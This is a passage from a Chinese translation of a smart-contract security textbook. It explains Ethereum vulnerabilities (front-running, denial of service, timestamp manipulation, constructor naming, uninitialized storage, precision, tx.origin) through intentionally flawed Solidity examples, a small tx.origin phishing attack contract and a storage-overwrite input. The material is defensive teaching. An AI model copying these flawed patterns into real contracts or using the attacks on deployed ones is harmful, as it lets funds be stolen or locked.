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 来获得非预期的状态。重入（在本章较早的地方讨论过）是这样的竞争条件的一个例子。在本节中我们会讨论可能在以太坊区块链上发生的其他种类的竞争条件。关于这个主题有一些不错的博客，包括Ethereum Wiki（
https://github.com/ethereum/wiki/wiki/Safety#race-conditions

 ）中的“Race Conditions”、DASP Top 10 of 2018的#7（
http://www.dasp.co/#item-7

 ）以及Ethereum Smart Contract Best Practices（
https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions

 ）。



漏洞的细节



像大多数区块链一样，以太坊中的节点也会将交易收集到一个池中并把它们打包到区块中。仅当矿工解决了一个共识机制（目前在以太坊中是Ethash（
https://github.com/ethereum/wiki/wiki/Ethash

 ）工作量证明）区块中的交易才会被认为是有效的。找到区块的工作量证明的矿工会从交易池中选择要包含到区块中的交易，这一般是通过对每个交易的gasPrice进行排序来完成的。于是这就成为一种潜在的攻击方向。攻击者可以监视交易池中的交易，如果交易中包含了对某个问题的答案，那么攻击者可以去修改或撤销解决者的权限，或者把合约修改为对解决者不利的状态。然后，攻击者从解决者的交易中获取数据，并用更高的gasPrice创建他们自己的交易，这样他们的交易就会先于原始交易被打包到区块中。

让我们用一个简单的例子来看看这是如何实现的。仔细考虑代码9-10中的例子：


代码9-10：FindThisHash.sol







1 contract FindThisHash {



2     bytes32 constant public hash =



3       0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;



4



5     constructor() public payable {} // load with ether



6



7     function solve(string solution) public {



8         // If you can find the pre-image of the hash, receive 1000 ether



9         require(hash == sha3(solution));



10        msg.sender.transfer(1000 ether);



11    }



12 }







假设这个合约持有1000以太币。如果一个用户找到了可以生成如下SHA-3哈希值的原始数据：






0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a







那么他就可以提交答案并取走1000以太币。让我们假设一名用户找到了答案，是“Ethereum!”，那么他就可以用“Ethereum!”作为参数来调用solve函数。不幸的是，一名攻击者非常聪明地监视了交易池，并监视了所有向这个合约提交答案的交易。他看到这个答案，检查了其正确性，然后提交了一个有更高gasPrice的同样的交易。因为攻击者的交易的gasPrice更高，所以矿工们一般会给攻击者的交易更大的优先权，并在原始解决者的交易之前执行攻击者的交易。于是攻击者就可以获得1000以太币，而解决了问题的用户则什么也得不到。记住，在这种类型的“预先交易”漏洞中，矿工们亲自进行攻击是更具吸引力的（或者他们会被额外的交易费所贿赂来进行攻击）；攻击者就是矿工自己的可能性不应该被低估。



防范技术



有两类角色可以进行这种类型的预先交易攻击：用户（修改其交易的gasPrice）和矿工自己（他们可以按照自己的意愿随意对区块内的交易进行排序）。一个合约易受第一类角色（用户）的攻击明显比易受第二类角色（矿工）的攻击更加糟糕，因为矿工仅能在他们找到区块的工作量证明的时候才能发起攻击，这使单独的矿工不太容易针对特定区块发起攻击。这里我们列出几个对两种攻击者都有效的缓解措施。

一种方法是将gasPrice设置到上限，这可以避免其他用户通过提高gasPrice来使他们的交易排到这个gasPrice已经达到上限的交易之前。不过这种措施仅能防范第一类攻击者（任意的其他用户）。矿工们仍然可以在这种情况下进行攻击，因为他们可以无视gasPrice，而按照他们自己的意愿来对交易进行排序。

一种更健壮的方法就是提交-揭示（commit-reveal）策略参见
https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract

 。在这样的策略中，用户们发送带有隐秘信息的交易（通常是一个哈希值）；当交易被包含到区块中之后，用户再发送一个交易来揭示先前发送的数据（揭示阶段）。这种方法可以同时避免矿工和用户的预先交易攻击，因为他们无法事先获得交易的具体内容。不过这种方法还是无法真正隐藏交易的具体数据（在某些情况下交易中有价值的数据是需要隐藏的）。ENS（
https://ens.domains/

 ）智能合约允许用户发送交易来提交他们希望花费的以太币数量，同时附带任意数量的以太币
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 。然后在揭示阶段，用户可以获得以太币返还，数量等于他们先前实际发送的以太币和他们指定的希望花费的以太币数量之间的差额。

一种更进一步的方案是使用“水底发送”（submarine sends），这是由Lorenz Breidenbach、Phil Daian、Ari Juels和Florian Tramèr提出的（
http://hackingdistributed.com/2017/08/28/submarine-sends/

 ）。基于这个方案的高效实现需要使用CREATE2操作码，这个操作码目前还不可用，但已经被包含在即将到来的硬分叉中（即Constantinople版本，Metropolis的第二阶段）。



真实案例：ERC20和Bancor



ERC20（
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

 ）标准是众所周知的在以太坊上构建代币的标准，它有一个潜在的漏洞是由其中的approve函数所导致的。Mikhail Vladimirov和Dmitry Khovratovich撰写了一篇文章对这个漏洞进行了很好的解释（并给出了缓和这种攻击的方法），参见
https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit

 。

这个标准中指定了如下的approve函数：






function approve(address _spender, uint256 _value) returns (bool success)







这个函数允许用户授权其他用户来转让他自己拥有的代币。而在下面的情况中就会发生预先交易攻击：一个用户Alice授权她的朋友Bob可以使用100枚代币。Alice后来决定撤销她给Bob的一部分授权，于是她创建了一个交易来将Bob的额度改为50枚代币。而Bob则一直仔细监视着区块链，当他看到这个交易时，他马上创建了交易来花掉了他有权使用的100枚代币。他给他的交易设置了比Alice的交易更高的gasPrice，于是他的交易可能会先于Alice的交易被执行。这样的话，因为在Alice的交易被执行时，Bob已经转走了100枚代币，这时将Bob的授权额度重置为50枚代币，实际上是使Bob可以使用150枚代币
 


[3]




 。

另一个著名的真实世界的例子就是Bancor（
https://www.bancor.network/

 ）。Ivan Bogatyy和他的团队记录了在早期的Bancor实现中的一个可获利的攻击。他的博客（
https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798

 ）和DevCon3上的演讲（
https://www.youtube.com/watch?v=RL2nE3huNiI

 ）讨论了具体的实现细节。简单来说，因为代币的价格是基于交易量计算得到的，所以用户可以监视交易池中到Bancor合约的交易并使他们自己的交易预先执行来基于差价获利。这种攻击已经被Bancor团队处理了。




[1]

 这里的“竞争”指的是用户们比赛谁的代码先被执行，也就是谁的交易先被区块链确认。




[2]

 交易附带的以太币数量需要大于等于用户指定的希望花费的数量，这个交易的实际调用参数是一个哈希值，用来隐藏用户提交的具体数据。




[3]

 最后这句，原文的解释是错的。实际上并不是approve函数的实现导致了这个问题。合约代码实际上是处理不了这种跨两个交易的问题的，也就是基于approve函数的设计是无法避免这种攻击的。这种攻击实际上是ERC20标准的设计缺陷，从合约代码的角度是无法避免的，而目前只有两种缓解方案：一种是在不增加其他处理的情况下在应用中先用approve函数将授权清零，而后再设置为希望的数值，但这需要两个交易来完成；另一种方法就是增加额外的函数来设定对授权额度值的增减数量，而不是像approve函数这样设定绝对数量。




拒绝服务



这种攻击的范围非常广，但基本包含了那些会使合约在一段时间内无法使用或在某些情况下永远无法使用的攻击。这将会使以太币被永远锁定在这些合约中，就像先前在本章之前介绍过的“真实案例：Parity多重签名钱包（第二次攻击）”那样。



漏洞的细节



有很多不同的方式可以导致合约无法使用。这里我们仅突出介绍会导致DoS漏洞的几个不那么明显的Solidity编码模式：


基于可被外部操纵的映射或数组的循环


这种模式通常出现在一个用户使用类似destribute函数想给多个投资者分发代币时，如下例所示：






1 contract DistributeTokens {



2      address public owner; // gets set somewhere



3      address[] investors; // array of investors



4      uint[] investorTokens; // the amount of tokens each investor gets



5



6      // ... extra functionality, including transfertoken()



7



8      function invest() public payable {



9          investors.push(msg.sender);



10         investorTokens.push(msg.value * 5); // 5 times the wei sent



11         }



12



13     function distribute() public {



14         require(msg.sender == owner); // only owner



15         for(uint i = 0; i < investors.length; i++) {



16             // here transferToken(to,amount) transfers "amount" of



17             // tokens to the address "to"



18             transferToken(investors[i],investorTokens[i]);



19         }



20     }



21 }







注意这个合约里的循环是基于一个可以被人为膨胀的数组来执行的。攻击者可以创建很多用户账户来使investor数组变得非常大。理论上说，如果数组元素足够多，将可以导致要执行这个for循环花费的gas超过区块的gas限制，从而使distribute函数变得无法使用（无法执行成功）。


主人的操作


另一种常见的模式是就是合约必须经由拥有特定权限的主人来进行某些操作才能进入下一步的状态。一个例子就是某些初始代币发放（ICO）合约会需要合约的主人来完成（finalize）发放流程从而使代币变为可以进行转让。例如：






1 bool public isFinalized = false;



2 address public owner; // gets set somewhere



3



4 function finalize() public {



5     require(msg.sender == owner);



6     isFinalized == true;



7 }



8



9 // ... extra ICO functionality



10



11 // overloaded transfer function



12 function transfer(address _to, uint _value) returns (bool) {



13     require(isFinalized);



14     super.transfer(_to,_value)



15 }



16



17 ...







在这样的情况下，如果特权用户丢失了他们的私钥或者本人无法操作，那么整个代币合约就将变为不可用状态。在这个例子里，如果主人无法调用finalize函数，那么所有代币都将无法转让；于是这个代币生态的所有操作都因为某个地址的问题而被限制住了。


基于外部调用来修改状态


合约有时会被设计为需要通过发送以太币到其他地址，或者等待某些来源于外部的输入来前进到一个新的状态。这样，当外部调用失败或者被阻止时，这种模式就会导致DoS攻击。在发送以太币的例子里，用户可以创建一个不接受转账的合约。这样如果某个合约只有在以太币被取走时才能前进到新状态（比如在时间锁定合约中将需要以太币被全部取走才能重新进入可用状态），那么这个合约将永远无法达到新的状态，因为你永远无法把以太币发送到一个不接受转账的合约中。



防范技术



在第一个例子中，合约不应该基于一个可以被外部用户人为操纵的数据结构来执行循环。这里推荐使用取回模式，让每个取款人单独地调用withdraw函数来取回他们各自的代币。

在第二个例子中，改变合约状态需要一个特权用户。这里我们可以使用某种保险机制来应对主人丧失操作能力的情况。一种方案是将主人设定为多重签名合约。另一个方案是使用时间锁：在例子代码中的第13行增加一个基于时间的require条件，比如require(msg.sender==owner||now>unlockTime)，这将允许所有用户在某个特定的时间unlockTime过后都可以调用finalize函数。这种缓解技术也可以用在第三个例子中。如果需要依赖外部调用来前进到新状态，那么可以为这些调用的失败做好计划，并可以增加可能的、基于时间的状态变动处理来应对所期待的调用永远不会到来的情况。


 　当然，对这些建议也有中心化的选择：如果需要的话，我们可以增加maintenanceUser（用于维护合约状态的特权用户）来在DoS攻击发生时独立处理故障。基于这样的实体所具有的权限来说，这种合约一般都会有信任问题。



真实案例：GovernMental



GovernMental（
http://governmental.github.io/GovernMental/

 ）是一个老式的庞氏骗局，它积累了大量的以太币（一度达到1100 ether）。不幸的是，它是一个易受本节介绍的这种DoS攻击影响的合约。一个由etherik发布的Reddit帖子（
https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/

 ）描述了这个合约是如何需要删除大量的映射才能取出以太币的。这个删除操作需要消耗的gas一度超出了当时的区块gas限制，因而不可能完成取款操作。这个合约的地址是0xF45717552f12Ef7cb65e95476F217Ea008167Ae3（
https://etherscan.io/address/0xf45717552f12ef7cb65e95476f217ea008167ae3

 ），并且你可以看到通过一个花费了250万gas的交易0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b（当区块的gas上限增长到足够完成这个交易时），1100 ether才被最终获得，过程参见
https://etherscan.io/tx/0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b

 。




区块时间戳操纵



出于历史原因，区块的时间戳被用在了很多不同应用中，比如无序的随机数字（参考本章“无序错觉”一节来获得更多信息）、在某个期间内锁定资金以及依赖于时间的状态变动条件。因为矿工们可以轻微地调整时间戳，所以对那些误用了区块时间戳的智能合约而言，这是很危险的。

更多有用的参考资料包括Solidity文档（
https://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties

 ）和Joris Bontje的Ethereum Stack Exchange question（
https://ethereum.stackexchange.com/questions/413/can-a-contract-safely-rely-on-block-timestamp?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa

 ）中关于这个主题的讨论。



漏洞的细节



如果矿工们有利可图，他们是可以操纵block.timestamp和它的别名now的具体数值的。让我们构造一个简单的游戏，如代码9-11所示，矿工可以利用它的漏洞。


代码9-11：roulette.sol







1 contract Roulette {



2     uint public pastBlockTime; // forces one bet per block



3



4     constructor() public payable {} // initially fund contract



5



6     // fallback function used to make a bet



7     function () public payable {



8         require(msg.value == 10 ether); // must send 10 ether to play



9         require(now != pastBlockTime); // only 1 transaction per block



10        pastBlockTime = now;



11        if(now % 15 == 0) { // winner



12            msg.sender.transfer(this.balance);



13        }



14     }



15 }







这是个简单的博彩合约。每个区块中的一个交易可以下注10 ether，并有机会获得合约中的所有余额。这里的假设是block.timestamp的最后两个数字是均匀分布的。如果是这样，那么每个人都有1/15的概率赢得奖金。

然而，我们知道矿工们可以根据他们的需要调整时间戳。在这个具体的场景里，矿工将会很愿意去找到一个模15等于0的时间戳（block.timestamp或now），这样的话，他们就能在区块奖励之外额外获得这个合约中的所有以太币。因为每个区块中只允许一个人下注，所以这也会被预先交易攻击所影响（参考本章“竞争条件/预先交易”一节来获得更多信息）。

事实上，区块的时间戳只能单向增长，所以矿工们并不能随意指定区块时间戳（它们必须晚于之前区块的时间戳）。此外，时间戳同样不能是过远的未来时间，否则区块会被网络拒绝（网络中的节点不会去验证处于未来时间的区块）。



防范技术



区块的时间戳不应该被用来作为无序数据或生成随机数，也就是说，它们不应该用来作为游戏的获胜条件（无论直接或间接）或者用来判断一个重要的状态变动。

合约中有时会需要一些感知时间的逻辑，比如解锁合约（基于时间锁）、在ICO开始几周之后来结束它或者强制指定一个过期时间。有些情况推荐使用block.number（
https://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties

 ）和平均区块时间来估算时间条件，比如基于平均10秒的区块时间，那么一周大约相当于60480个区块。因此，指定一个区块号来作为修改合约状态的条件更安全，因为矿工们不能简单地操纵区块号。BAT ICO合约就使用了这种策略。

如果合约逻辑并不担心矿工们对时间戳的操纵，那就没必要使用额外处理，但开发合约时应该意识到有这种情况。



真实案例：GovernMental



GovernMental（
http://governmental.github.io/GovernMental/

 ），也就是上文提到过的那个老式的庞氏骗局，同样会被基于时间戳的攻击所影响。合约会将奖金发放给每轮的最后一个（至少一分钟之内）参与的玩家。因此，作为玩家参与游戏的矿工可以调整时间戳（到一个未来的时间，从而使合约程序认为已经超过了一分钟）来使他们自己成为在一分钟内最后参与游戏的那个玩家（即使这不是事实）。更多的细节可以在Tanya Bahrynovska的帖子“History of Ethereum Security Vulnerabilities,Hacks and Their Fixes”中找到。




小心使用构造函数



构造函数是一种特殊的函数，它们通常在合约初始化的时候执行一些关键的、特定的任务。在Solidity v0.4.22之前，构造函数被定义为与其合约名称同名的函数。在这样的情况下，当合约名称在开发中改动时，如果构造函数的名称没有修改，它就会变成一个普通的、可被调用的函数。你应该能想象到，这当然会引发一些有趣的合约攻击。

为了解更多内情，你也许会对尝试Ethernaut challenges（
https://github.com/OpenZeppelin/ethernaut

 ）（具体说是其中的Fallout）感兴趣。



漏洞的细节



如果合约名称修改了，或者因为拼写错误导致构造函数名称与合约名称不符，那么构造函数就会变成一个普通的函数。这可能会导致严重后果，尤其是如果构造函数执行了某些特权操作的话。仔细考虑下列合约：






1 contract OwnerWallet {



2     address public owner;



3



4     // constructor



5     function ownerWallet(address _owner) public {



6         owner = _owner;



7     }



8



9     // Fallback. Collect ether.



10    function () payable {}



11



12    function withdraw() public {



13        require(msg.sender == owner);



14        msg.sender.transfer(this.balance);



15    }



16 }







这个合约会归集以太币并仅允许合约的主人通过调用withdraw函数来取走余额。这里的问题出在构造函数没有准确地命名为与合约名称相同的名称：第一个字母是不一样的！因此，任何用户都可以调用ownerWallet函数来将他们自己设置为主人，然后调用withdraw来取走合约中的所有以太币。



防范技术



这个问题已经被0.4.22版本的Solidity编译器解决了。从这个版本开始，Solidity引入了constructor关键字来指定构造函数，而不再需要用一个与合约名称相同的函数。使用这个关键字来指定构造函数就可以避免由命名带来的问题。



真实案例：Rubixi



Rubixi（
https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code

 ）是另一个展示了这种漏洞的传销骗局。它最初叫作DynamicPyramid，但在部署之前将合约名称改为Rubixi。因为构造函数的名字没有改，所以它允许任何人成为创建者。Bitcointalk（
https://bitcointalk.org/index.php?topic=1400536.60

 ）上有关于这个bug的一些有趣的讨论。最终，这个合约实际上允许用户们争相成为创建者以便抢走传销收入。我们可以在“History of Ethereum Security Vulnerabilities,Hacks and Their Fixes”（
https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes

 ）这篇文章里找到更多关于这个bug的细节。




未初始化的存储指针



EVM是用存储（storaege）或内存（memory）来保存数据的。清晰地理解这些概念以及函数中局部变量的默认类型对我们开发合约非常重要，因为不适当的变量初始化可能会产生有漏洞的合约。

要获得更多关于EVM中的存储和内存的知识，请参考Solidity文档中的datalocation（
https://solidity.readthedocs.io/en/latest/types.html#data-location

 ）、layout of state variables in storage（
https://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage

 ）和layout in memory（
https://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-in-memory

 ）。


 　本节是基于Stefan Beyer的博客（
https://medium.com/cryptronics/storage-allocation-exploits-in-ethereum-smart-contracts-16c2aa312743

 ）编写的。而在Stefan的启发下，还有更多与这个主题相关的信息可以在Reddit的帖子（
https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/

 ）中找到。



漏洞的细节



函数中的局部变量默认在存储中还是在内存中，取决于它们的类型。未初始化的存储变量可能会包含合约中的其他存储变量的值，这会在无意中导致漏洞，或被故意地利用。

让我们认真考虑代码9-12中相对比较简单的名称注册合约。


代码9-12：NameRegistrar.sol







1 // A locked name registrar



2 contract NameRegistrar {



3



4      bool public unlocked = false; // registrar locked, no name updates



5



6      struct NameRecord { // map hashes to addresses



7          bytes32 name;



8          address mappedAddress;



9      }



10



11     // records who registered names



12     mapping(address => NameRecord) public registeredNameRecord;



13     // resolves hashes to addresses



14     mapping(bytes32 => address) public resolve;



15



16     function register(bytes32 _name, address _mappedAddress) public {



17         // set up the new NameRecord



18         NameRecord newRecord;



19         newRecord.name = _name;



20         newRecord.mappedAddress = _mappedAddress;



21



22         resolve[_name] = _mappedAddress;



23         registeredNameRecord[msg.sender] = newRecord;



24



25         require(unlocked); // only allow registrations if contract is unlocked



26     }



27 }







这个简单的名称注册合约只有一个函数。当这个合约是解锁状态时，它允许任何人（以一个byte32类型的哈希值的形式）注册一个名称并将其映射到一个地址。这个登记员合约被初始化为锁定状态，所以第25行的require会阻止添加名称记录。这看起来会使合约不可用，并且没有办法来解除锁定。然而实际上有一个漏洞可以无视unlocked变量来注册名称。

要讨论这个漏洞，我们需要先理解在Solidity中存储是如何工作的。作为高度概括（没有任何具体的技术细节——我们建议你阅读Solidity文档来学习具体细节），状态变量是按照它们在合约中定义的顺序保存在一系列的槽中（状态变量是可以被打包的，但没有体现在这个例子中，所以我们暂时不用关注）。因此，unlocked存在于slot[0]，registeredNameRecord在slot[1]，而resolve在slot[2]，以此类推。每一个存储槽都有32字节大小（映射的结构更加复杂，我们可以暂时忽略它）。对于布尔类型的unlocked，如果它为false，则其实际数据将是0x000...0（64个0，不包括0x）；如果它为true，则其实际数据将是0x000...1（63个0）。就像你看到的那样，在这个例子里显然有很多存储浪费。

谜题的下一部分就是Solidity在初始化复杂类型（比如struct）的局部变量时会默认将它们放在存储中。于是，第18行的newRecord默认会在存储中。这个漏洞的产生是因为newRecord没有被初始化，但因为它在存储中，所以它指向了存储槽slot[0]，也就是成为一个指向unlocked变量的指针。在第19行和第20行，我们把newRecord.name设为_name，把newRecord.mappedAddress设为_mappedAddress，这实际上修改了存储的slot[0]和slot[1]，也就是修改了unlocked和registered-NameRecord变量的存储槽。

这意味着unlocked可以简单地通过register函数的byte32类型的参数_name进行修改。因此，如果_name的最后一字节的最后一位为1，它就会将存储槽slot[0]也就是unlocked的值修改为true。这样的_name数值就会使第25行的require检查成功，因为我们把unlocked设置为了true。在Remix中尝试一下，你会发现如果用下面的数据作为_name来发起调用是可以通过的：






0x0000000000000000000000000000000000000000000000000000000000000001









防范技术



Solidity编译器会对未初始化的存储变量给出警告，开发者应该在构建智能合约时注意这些警告。当前版本的Mist（0.11）不允许这样的合约编译。在处理复杂数据类型时严格地使用memory或storage标识符来明确指定它们的位置是非常好的习惯，这可以确保它们的行为将是符合预期的。



真实案例：OpenAddressLottery和CryptoRoulette蜜罐



在主网上有一个叫作OpenAddressLottery（
https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code

 ）的蜜罐合约，它就用了这个未初始化的存储变量的诡计来从那些想当黑客的菜鸟手中收集以太币。这个合约比较复杂难懂，Reddit中的帖子给出了具体的分析，其中比较清晰地解释了这个攻击，参见
https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/

 。

另一个蜜罐CryptoRoulette（
https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code

 ）同样利用了这个技巧来尝试收集以太币。如果你搞不明白这个攻击是如何进行的，你可以参考“An Analysis of a Couple Ethereum Honeypot Contracts”（
https://medium.com/coinmonks/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d

 ）来获得对这个合约的回顾和其他信息。




浮点数和精度



在写作本书的时候，Solidity（v0.4.24）还不支持定点和浮点数字。这意味着在Solidity中浮点数必须用整数类型来表示。而如果没有正确实现，这也将会导致某些错误和漏洞。


 　进一步地阅读，请参考Ethereum Contract Security Techniques and Tips wiki（
https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division

 ）。



漏洞的细节



因为Solidity中没有带小数的数据类型，所以开发者们需要用标准的整数类型来实现同等的功能。这个过程中有一些开发者容易掉入的陷阱。我们在这节中会尝试强调其中的一些问题。

让我们从下面的代码示例开始（简单起见，这里忽略了我们先前讨论过的数值溢出问题）：






1 contract FunWithNumbers {



2      uint constant public tokensPerEth = 10;



3      uint constant public weiPerEth = 1e18;



4      mapping(address => uint) public balances;



5



6      function buyTokens() public payable {



7          // convert wei to eth, then multiply by token rate



8          uint tokens = msg.value/weiPerEth*tokensPerEth;



9          balances[msg.sender] += tokens;



10     }



11



12     function sellTokens(uint tokens) public {



13         require(balances[msg.sender] >= tokens);



14         uint eth = tokens/tokensPerEth;



15         balances[msg.sender] -= tokens;



16         msg.sender.transfer(eth*weiPerEth);



17     }



18 }







这个简单的代币买卖合约有一些明显的问题。尽管买卖代币的算术计算是正确的，但浮点数的缺失却导致了谬误的结果。例如，在第8行购买代币的处理中，如果msg.value小于1 ether，那么首先进行的除法其结果就将为0，也将致使最后的计算结果为0（比如，200 wei除以1e18 wei PerEth将等于0）。类似地，当卖出代币时，所有小于10的代币数量最终都会得到0 ether。事实上，Solidity中的除法计算总是会舍去小于除数的所有精度，所以卖出29代币会得到2 ether。

这个合约的问题在于精度总是被舍去到整以太币（也就是1e18 wei）。当我们在带有小数位的ERC20代币合约里需要更高精度时，这可能会变得棘手。



防范技术



在你的智能合约里保持正确的精度非常重要，特别是在处理和资金数额相关的比例和比率时更是如此。

你应该确保你所使用的比例或者比率允许分数中的最大分子。例如，上述例子中使用了比率tokensPerEth，而其实应该使用weiPerTokens
 


[1]




 ，它将是一个很大的数值。这样，要计算相应的代币数量，我们可以用msg.value/weiPerTokens，这将会得到更精确的结果。
 


[2]






另一个要记住的手段就是要用正确的顺序来执行具体操作。在我们的例子里，计算购买代币数量是用msg.value/weiPerEth*tokenPerEth，这里的除法发生在乘法之前。（与其他语言不同，Solidity是严格按照代码书写顺序来执行操作的。）在这个例子里，如果先执行乘法再做除法就可以获得更高的精度，也就是msg.value*tokenPerEth/weiPerEth。
 


[3]






最后，在给数值类型定义精度的时候，可以考虑将它们先变换为更高的精度，然后进行算术操作，最后再把结果变换为所需的精度来输出。一般来说，我们会使用uint256（因为它们在gas消耗上是最优的），这大概在允许范围内提供了60个数量级的精度，可以专门用来为数学运算操作提供足够的精度。在某些情况下，我们在Solidity中保持所有变量都在最高精度，然后在外部应用中再把它们变换回低精度是比较好的（大体上说，这就是ERC20代币合约中的decimals变量的意图）。我们推荐大家看看DS-Math（
https://github.com/dapphub/ds-math

 ），它演示了如何实现这种精度变换。虽然其中使用了一些与众不同的名字（“wads”和“rays”），但概念和思路是很有用的。



真实案例：Ethstick



Ethstick合约（
https://etherscan.io/address/0xbA6284cA128d72B25f1353FadD06Aa145D9095Af#code

 ）没有使用精度扩展，然而它处理的是wei。所以这个合约会有一些关于舍入的问题，但仅在wei单位的精度。另外它还有一些更严重的漏洞，但这关联到在区块链上很难获得随机数的问题（参考本章“无序错觉”一节）。关于Ethstick合约的更多讨论，建议你参考Peter Vessenes的博客“Ethereum Contracts Are Goingto Be Candy for Hackers”（
https://vessenes.com/ethereum-contracts-are-going-to-be-candy-for-hackers/

 ）。




[1]

 就是应该用每代币对应多少wei来做换算，而不是用每以太币对应多少代币来换算。




[2]

 尽管这确实比msg.value/weiPerEth*tokenPerEth更精确，但实际上这仍然会损失掉小于weiPerTokens的所有精度，也就是当msg.value小于weiPerTokens时仍然只能得到0。




[3]

 注意，这里只解决了购买1到10枚代币时的问题，而仍然损失了weiPerEth也就是1e18的精度。




Tx.Origin验证



Solidity中有一个全局变量tx.origin，它会回溯整个调用栈并返回最初发起这个调用（或交易）的账户地址。如果在智能合约中用这个变量来做验证（判定条件），将会使合约暴露在钓鱼攻击下。


 　进一步的信息，请参考dbryson的Ethereum Stack Exchange question（
https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin

 ）、Peter Vessenes的博客“Tx.Origin and Ethereum Oh My!（
https://vessenes.com/tx-origin-and-ethereum-oh-my/

 ）”和Chris Coverdale的博客“Solidity:Tx OriginAttacks”（
https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514

 ）。



漏洞的细节



通过tx.origin变量来判断用户授权的合约一般是易受钓鱼攻击的，这种攻击是通过欺骗用户向有漏洞的合约发送需要授权的操作来实现的。

仔细考虑代码9-13中的简单合约：


代码9-13：Phishable.sol







1 contract Phishable {



2      address public owner;



3



4      constructor (address _owner) {



5          owner = _owner;



6      }



7



8      function () public payable {} // collect ether



9



10     function withdrawAll(address _recipient) public {



11         require(tx.origin == owner);



12         _recipient.transfer(this.balance);



13     }



14 }







注意第11行是用tx.origin来对withdrawAll函数进行授权的。这个合约将允许攻击者创建类似于下面这样的攻击合约：






1 import "Phishable.sol";



2



3 contract AttackContract {



4



5     Phishable phishableContract;



6      address attacker; // The attacker's address to receive funds



7



8      constructor (Phishable _phishableContract, address _attackerAddress) {



9          phishableContract = _phishableContract;



10         attacker = _attackerAddress;



11     }



12



13     function () payable {



14         phishableContract.withdrawAll(attacker);



15     }



16 }







攻击者可以将这个攻击合约的地址伪装成他们的个人地址，然后利用社交活动使受害者（Phishable合约的主人）陷入圈套，让受害者向这个地址发送交易——也许是发送一些以太币。除非受害者很小心，否则几乎不会注意到攻击者给的地址上是有代码的，或者攻击者可能会使用一个多重签名钱包或者某种高级的存储钱包（记住，公共网络上合约的代码并不是默认公开可见的）。

无论哪种情况，如果受害者向AttackContract发送了足够的gas，则其回退函数就会被执行，也就是会以attacker为参数来调用Phishable合约的withdrawAll函数。执行的结果将是Phishable合约的所有余额被转到了attacker地址；这是因为最初发起这个调用的地址是受害者的地址（也就是Phishable合约的主人），于是tx.origin会等于owner，Phishable合约第11行的require会验证通过。



防范技术



智能合约中不应该使用tx.origin来进行验证授权。但这并不是说永远不要使用tx.origin这个变量，它确实有一些合理的使用场景。比方说，如果某人想要拒绝外部合约调用当前合约，他们可以实现一个类似require(tx.origin==msg.sender)这样的检查；这可以防止当前合约被其他中间合约调用，也就是仅允许没有关联代码的地址来调用当前合约。




合约程序库



有很多可重用的代码可以供我们编写自己的合约，包括已经部署到链上的可调用合约以及可以作为代码模板使用的库合约代码。已经部署到链上的库合约是以合约字节码的形式存在的，所以在生产环境中使用它们之前要非常小心。不过，使用已在链上部署的、已经被广泛接受的库合约有很多好处，比如可以获得最近的更新、可以节省成本以及可以减少实际部署的合约数量并使以太坊生态受益。

在以太坊中，最为广泛使用的是OpenZeppelin系列（
https://openzeppelin.org/

 ），它是一个包含丰富的库合约的项目，从ERC20和ERC721到各种模式的公开销售的合约，以及很多提供简单通用特性的合约，比如Ownable、Pausable或LimitBalance等。这个项目中的合约都进行了完备的测试并且某些合约已经成了事实标准。它们是由Zeppelin（
https://zeppelin.solutions/

 ）和不断增长的外部贡献者们共同构建和维护的，开发者们则可以免费使用它们（来构建自己的合约）。

ZeppelinOS（
https://zeppelinos.org/

 ）也是一个由Zeppelin构建的项目，它是一个由开发支援服务和工具组成的开源平台，可以安全地管理智能合约应用程序。ZeppelinOS在EVM之上提供了一个独立的层级，它可以使开发者更简单地发布可升级的DApp，这些DApp又可以链接到经过充分测试的、可升级的链上库合约。这些库合约的不同版本可以在以太坊平台上共存，并且有一个担保系统以允许用户提议或推动不同方向的改进。此外，这个平台还提供了一系列链下工具来调试、测试、部署和监控去中心化应用程序。

ethpm项目则通过提供一个包管理系统在不断发展的生态系统中组织各种不同资源。它们提供了更多可供浏览的例子：

·网站：
https://www.ethpm.com

 。

·库链接：
https://www.ethpm.com/registry

 。

·GitHub链接：
https://github.com/ethpm

 。

·文档链接：
https://www.ethpm.com/docs/integration-guide

 。




总结



在智能合约领域工作的开发者需要了解和理解有非常多的知识。在你的智能合约设计和代码编写中遵循最佳实践，你将避免很多严重的陷阱和圈套。

也许最基础的软件安全准则就是最大化重用那些可信的代码。在密码学中，这可以浓缩为一句谚语：“Don’t roll your own crypto
 


[1]




 ”。在智能合约的场景中，也就是尽可能地使用那些已经由社区彻底审查过的可用库合约，使它们发挥出最大的价值。




[1]

 意指不要自己重复发明加密算法，因为它们实际上往往都不如已知的成熟算法安全，这其实就是软件工程中所说的“不要重复造轮子”。




第10章　代币



